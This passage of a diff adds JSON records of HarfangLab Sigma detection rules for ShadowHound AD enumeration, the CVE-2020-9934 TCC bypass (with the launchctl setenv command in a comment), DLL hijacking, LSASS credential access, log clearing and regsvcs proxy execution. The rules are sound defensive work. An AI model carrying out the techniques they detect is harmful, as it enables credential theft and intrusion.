with the following parameters:'\"\n            - 'Write-Output \"[*] Enumerating PKI objects under $configContext...\"'\n            - \"$rootDSE = New-Object System.DirectoryServices.DirectoryEntry('LDAP://RootDSE')\"\n            - '$searcher = New-Object System.DirectoryServices.DirectorySearcher($directoryEntry)'\n            - '$directoryEntry = New-Object System.DirectoryServices.DirectoryEntry($ldapPath, $Credential.UserName, $Credential.GetNetworkCredential().Password)'\n            - 'Write-Output \"   [!!] Error during search with filter $ldapFilter`: $_\"'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e1adb17f-fb63-4bea-9ae9-71dd16550fbc",
+  "rule_name": "ShadowHound PowerShell Script Executed",
+  "rule_description": "Detects the usage of ShadowHound, a tool written in PowerShell that leverages native ADWS or LDAP features for Active Directory enumeration.\nThis tool allows attackers to gather significant information about the Active Directory environment, possibly revealing hidden relationships to further perform attacks within the environment.\nIt is recommended to analyze the execution context of the script to determine its legitimacy.\n",
+  "rule_creation_date": "2024-11-26",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1033",
+    "attack.t1059.001",
+    "attack.t1069.001",
+    "attack.t1069.002",
+    "attack.t1201",
+    "attack.t1482",
+    "attack.t1615"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e1be9c6a-a1c4-43e8-8102-0de54255109a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086903Z",
+  "creation_date": "2026-03-23T11:45:34.086905Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086909Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://atomicredteam.io/defense-evasion/T1036.006/",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1036.006/T1036.006.md#atomic-test-2---space-after-filename",
+    "https://attack.mitre.org/techniques/T1036/006/",
+    "https://attack.mitre.org/techniques/T1546/001/"
+  ],
+  "name": "t1036_006_blank_space_filename.yml",
+  "content": "title: Suspicious Blank Space at the End of the Process Filename\nid: e1be9c6a-a1c4-43e8-8102-0de54255109a\ndescription: |\n    Detects the execution of a file containing a space at the end of its filename.\n    If a user double-clicks on a file ending with a space, for instance 'evil.txt ', the true file type is determined by the OS and handled appropriately and the binary will be executed.\n    Adversaries can use this feature to trick users into double-clicking benign-looking files of any format and ultimately execute malicious payloads.\n    Adversaries may also append a space after a filename to mimic a legitimate binary.\n    It is recommended to analyze the executed file for malicious content.\nreferences:\n    - https://atomicredteam.io/defense-evasion/T1036.006/\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1036.006/T1036.006.md#atomic-test-2---space-after-filename\n    - https://attack.mitre.org/techniques/T1036/006/\n    - https://attack.mitre.org/techniques/T1546/001/\ndate: 2022/12/26\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.006\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1546.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Masquerading\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: ' '\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e1be9c6a-a1c4-43e8-8102-0de54255109a",
+  "rule_name": "Suspicious Blank Space at the End of the Process Filename",
+  "rule_description": "Detects the execution of a file containing a space at the end of its filename.\nIf a user double-clicks on a file ending with a space, for instance 'evil.txt ', the true file type is determined by the OS and handled appropriately and the binary will be executed.\nAdversaries can use this feature to trick users into double-clicking benign-looking files of any format and ultimately execute malicious payloads.\nAdversaries may also append a space after a filename to mimic a legitimate binary.\nIt is recommended to analyze the executed file for malicious content.\n",
+  "rule_creation_date": "2022-12-26",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.006",
+    "attack.t1546.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e1dea3fd-6b91-4170-a356-35ec98f63914",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619602Z",
+  "creation_date": "2026-03-23T11:45:34.619604Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619608Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9934",
+    "https://support.apple.com/HT211288",
+    "https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8",
+    "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/"
+  ],
+  "name": "cve_2020_9934_launchctl.yml",
+  "content": "title: TCC Daemon CVE-2020-9934 Exploited\nid: e1dea3fd-6b91-4170-a356-35ec98f63914\ndescription: |\n    Detects the setting of an environment variable required to exploit CVE-2020-9934, which is related to the TCC daemon (tccd).\n    TCC (Transparency, Consent, and Control) is a system present since the release of macOS Mojave (10.14) that protects access to some sensitive inputs such as screen captures, cameras, microphones and keyboard events.\n    When an application tries to access certain functions, macOS prompts the user to ask whether the request from the application is legitimate, the user can then grant or refuse access to the application.\n    Before macOS 10.15.6, the TCC daemon (tccd) is vulnerable to environment variable hijacking.\n    By setting the HOME env variable on launchctl and restarting the tccd daemon, an attacker could take control of the TCC database and bypass Apple Gatekeeper entirely.\n    It is recommended to verify if the parent process setting the environment variable has legitimate reasons to do so.\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9934\n    - https://support.apple.com/HT211288\n    - https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8\n    - https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/\ndate: 2023/07/11\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1203\n    - attack.t1574\n    - cve.2020-9934\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Exploit.CVE-2020-9934\n    - classification.macOS.Exploit.TCC\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    # launchctl setenv HOME /tmp/tccbypass\n    selection:\n        Image: '/bin/launchctl'\n        CommandLine|contains|all:\n            - ' setenv'\n            - ' HOME '\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e1dea3fd-6b91-4170-a356-35ec98f63914",
+  "rule_name": "TCC Daemon CVE-2020-9934 Exploited",
+  "rule_description": "Detects the setting of an environment variable required to exploit CVE-2020-9934, which is related to the TCC daemon (tccd).\nTCC (Transparency, Consent, and Control) is a system present since the release of macOS Mojave (10.14) that protects access to some sensitive inputs such as screen captures, cameras, microphones and keyboard events.\nWhen an application tries to access certain functions, macOS prompts the user to ask whether the request from the application is legitimate, the user can then grant or refuse access to the application.\nBefore macOS 10.15.6, the TCC daemon (tccd) is vulnerable to environment variable hijacking.\nBy setting the HOME env variable on launchctl and restarting the tccd daemon, an attacker could take control of the TCC database and bypass Apple Gatekeeper entirely.\nIt is recommended to verify if the parent process setting the environment variable has legitimate reasons to do so.\n",
+  "rule_creation_date": "2023-07-11",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1574"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e241f72f-20e6-4482-bc91-6c4981c9abc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090776Z",
+  "creation_date": "2026-03-23T11:45:34.090778Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090782Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ftp.yml",
+  "content": "title: DLL Hijacking via ftp.exe\nid: e241f72f-20e6-4482-bc91-6c4981c9abc0\ndescription: |\n    Detects potential Windows DLL Hijacking via ftp.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ftp.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\mswsock.dll'\n            - '\\napinsp.dll'\n            - '\\nlansp_c.dll'\n            - '\\pnrpnsp.dll'\n            - '\\SspiCli.dll'\n            - '\\winrnr.dll'\n            - '\\wshbth.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e241f72f-20e6-4482-bc91-6c4981c9abc0",
+  "rule_name": "DLL Hijacking via ftp.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ftp.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e249ffec-7cb4-4b9d-97b1-fcfc3d1cd807",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093939Z",
+  "creation_date": "2026-03-23T11:45:34.093941Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093946Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/antonioCoco/MalSeclogon",
+    "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html",
+    "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_access_via_seclogon.yml",
+  "content": "title: LSASS Access via Secondary Logon Service\nid: e249ffec-7cb4-4b9d-97b1-fcfc3d1cd807\ndescription: |\n    Detects process accesses to LSASS with suspicious access rights that involve \"seclogon.dll\" in the call trace.\n    The SecLogon service can be used to obtain a handle to LSASS, allowing attackers to perform credential dumping while potentially evading common detection methods.\n    This technique is implemented by the tool \"MalSeclogon\" for stealthy credential access.\n    It is recommended to investigate the source process attempting to access LSASS, to verify if the access was legitimate, and to check for other attempts at credential theft.\nreferences:\n    - https://github.com/antonioCoco/MalSeclogon\n    - https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html\n    - https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2024/11/05\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        SourceImage|endswith: '\\svchost.exe'\n        ProcessCommandLine|endswith: '-s seclogon' # Secondary Logon Service process\n        TargetImage|endswith: '\\lsass.exe'\n        GrantedAccessStr|contains|all:\n            - PROCESS_QUERY_LIMITED_INFORMATION\n            - PROCESS_QUERY_INFORMATION\n            - PROCESS_CREATE_PROCESS\n            - PROCESS_DUP_HANDLE\n        CallTrace|contains: 'seclogon.dll'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e249ffec-7cb4-4b9d-97b1-fcfc3d1cd807",
+  "rule_name": "LSASS Access via Secondary Logon Service",
+  "rule_description": "Detects process accesses to LSASS with suspicious access rights that involve \"seclogon.dll\" in the call trace.\nThe SecLogon service can be used to obtain a handle to LSASS, allowing attackers to perform credential dumping while potentially evading common detection methods.\nThis technique is implemented by the tool \"MalSeclogon\" for stealthy credential access.\nIt is recommended to investigate the source process attempting to access LSASS, to verify if the access was legitimate, and to check for other attempts at credential theft.\n",
+  "rule_creation_date": "2024-11-05",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e25e5360-7f25-4abb-adb0-d51e46f7b3bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627838Z",
+  "creation_date": "2026-03-23T11:45:34.627839Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627844Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1070/001/"
+  ],
+  "name": "t1070_001_clear_windows_security_log_no_process.yml",
+  "content": "title: Windows Security Log Cleared\nid: e25e5360-7f25-4abb-adb0-d51e46f7b3bf\ndescription: |\n    Detects the Windows Security audit log being cleared by an unknown process.\n    Adversaries may clear Windows Event Logs to hide the activity of an intrusion.\n    Windows Event Logs are a record of a computer's alerts and notifications.\n    It is recommended to check for other malicious behavior on the host with the help of the machine's timeline.\nreferences:\n    - https://attack.mitre.org/techniques/T1070/001/\ndate: 2026/01/15\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.001\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 1102\n        Source: 'Microsoft-Windows-Eventlog'\n\n    # This is handled by the rule b5bd4ea0-bd89-49d6-9867-4f1b6a100c82\n    filter_image:\n        ProcessImage|contains: '?'\n\n    # This is handled by the rule 68dc5935-e8e4-4223-b4ca-abdf6c9864d3\n    filter_session:\n        user_data.ClientProcessStartKey: '0'\n        SessionLogonType: 3\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e25e5360-7f25-4abb-adb0-d51e46f7b3bf",
+  "rule_name": "Windows Security Log Cleared",
+  "rule_description": "Detects the Windows Security audit log being cleared by an unknown process.\nAdversaries may clear Windows Event Logs to hide the activity of an intrusion.\nWindows Event Logs are a record of a computer's alerts and notifications.\nIt is recommended to check for other malicious behavior on the host with the help of the machine's timeline.\n",
+  "rule_creation_date": "2026-01-15",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e2746f38-ff8c-47d6-89d6-da6edbd50f8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589918Z",
+  "creation_date": "2026-03-23T11:45:34.589925Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589939Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_genvalobj.yml",
+  "content": "title: DLL Hijacking via genvalobj.exe\nid: e2746f38-ff8c-47d6-89d6-da6edbd50f8b\ndescription: |\n    Detects potential Windows DLL Hijacking via genvalobj.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'genvalobj.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\cryptsp.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e2746f38-ff8c-47d6-89d6-da6edbd50f8b",
+  "rule_name": "DLL Hijacking via genvalobj.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via genvalobj.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e2e6edbb-248f-4f1e-b801-8d49da4e6072",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070559Z",
+  "creation_date": "2026-03-23T11:45:34.070561Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070566Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/",
+    "https://attack.mitre.org/techniques/T1218/009/"
+  ],
+  "name": "t1218_009_regsvcs_dll_load.yml",
+  "content": "title: Suspicious Proxy Execution via regsvcs.exe\nid: e2e6edbb-248f-4f1e-b801-8d49da4e6072\ndescription: |\n    Detects the execution of the legitimate Regsvcs.exe Windows binary, used to register .NET COM assemblies.\n    This may be used by attackers to load their DLL files, since regsvcs then calls the DLL's \\\"RegisterClass\\\" function.\n    AWL (Application Whitelist) is a list of applications and application components that are authorized for use in an organization.\n    Application whitelisting technologies use whitelists to control which applications are permitted to execute on a host.\n    This can also be used by program installers in Windows.\n    It is recommended to investigate the DLL that was loaded into the process, as well as to analyze the parent process for malicious content or actions.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/\n    - https://attack.mitre.org/techniques/T1218/009/\ndate: 2023/01/04\nmodified: 2025/08/06\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.009\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Regsvcs\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\regsvcs.exe'\n        OriginalFileName: 'regsvcs.exe'\n\n    filter_directory:\n        CommandLine|contains:\n            - ' ?:\\Program Files\\'\n            - ' ?:\\Program Files (x86)\\'\n            - ' ?:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\'\n            - ' ?:\\Windows\\Microsoft.Net\\assembly\\GAC_32\\'\n            - ' ?:\\windows\\Microsoft.NET\\assembly\\GAC_64\\'\n\n    # Microsoft Configuration Manager\n    exclusion_mcm:\n        - ParentImage:\n            - '?:\\SMS\\bin\\x64\\srvboot.exe'\n            - '?:\\SMS\\bin\\x64\\rolesetup.exe'\n            - '?:\\Microsoft Configuration Manager\\bin\\X64\\rolesetup.exe'\n            - '?:\\Microsoft Configuration 